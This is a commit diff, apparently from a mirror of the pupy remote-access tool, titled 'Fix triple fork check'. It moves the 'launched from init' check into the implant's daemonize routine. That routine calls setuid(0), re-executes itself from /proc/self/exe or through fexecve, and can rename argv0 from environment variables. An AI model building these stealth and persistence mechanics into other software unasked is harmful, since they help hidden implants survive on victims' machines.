mirror of https://github.com/n1nj4sec/pupy.git
Fix triple fork check
This commit is contained in:
parent
31109c0725
commit
614fbc324a
|
@ -70,6 +70,14 @@ pid_t daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
|
|||
setuid(0);
|
||||
#endif
|
||||
|
||||
bool triple_fork = true;
|
||||
|
||||
/* If we are launched directly from the init - don't do the triple fork
|
||||
dance. This is important in case we are launched from upstart */
|
||||
|
||||
if (getppid() == 1)
|
||||
triple_fork = false;
|
||||
|
||||
/* Cleanup environment and reexec */
|
||||
char self[PATH_MAX] = {};
|
||||
char *fd_str = getenv("_");
|
||||
|
@ -84,7 +92,7 @@ pid_t daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
|
|||
}
|
||||
}
|
||||
|
||||
if (fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1 && exit_parent) {
|
||||
if (triple_fork && exit_parent && fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) {
|
||||
#ifdef USE_ENV_ARGS
|
||||
char *set_argv0 = getenv(DEFAULT_ENV_SA0);
|
||||
char *set_cwd = getenv(DEFAULT_ENV_SCWD);
|
||||
|
@ -205,7 +213,7 @@ pid_t daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
|
|||
#ifdef Linux
|
||||
fexecve(fd, argv, env);
|
||||
/* We shouldn't be here */
|
||||
#endif
|
||||
#endif
|
||||
execve(move? move:self, argv, env);
|
||||
}
|
||||
|
||||
|
|
|
@ -10,15 +10,7 @@
|
|||
|
||||
int main(int argc, char *argv[], char *env[]) {
|
||||
#ifndef DEBUG
|
||||
bool triple_fork = true;
|
||||
|
||||
/* If we are launched directly from the init - don't do the triple fork
|
||||
dance. This is important in case we are launched from upstart */
|
||||
|
||||
if (getppid() == 1)
|
||||
triple_fork = false;
|
||||
|
||||
daemonize(argc, argv, env, triple_fork);
|
||||
daemonize(argc, argv, env, true);
|
||||
#else
|
||||
#ifdef Linux
|
||||
mtrace();
|
||||
|
|
Loading…
Reference in New Issue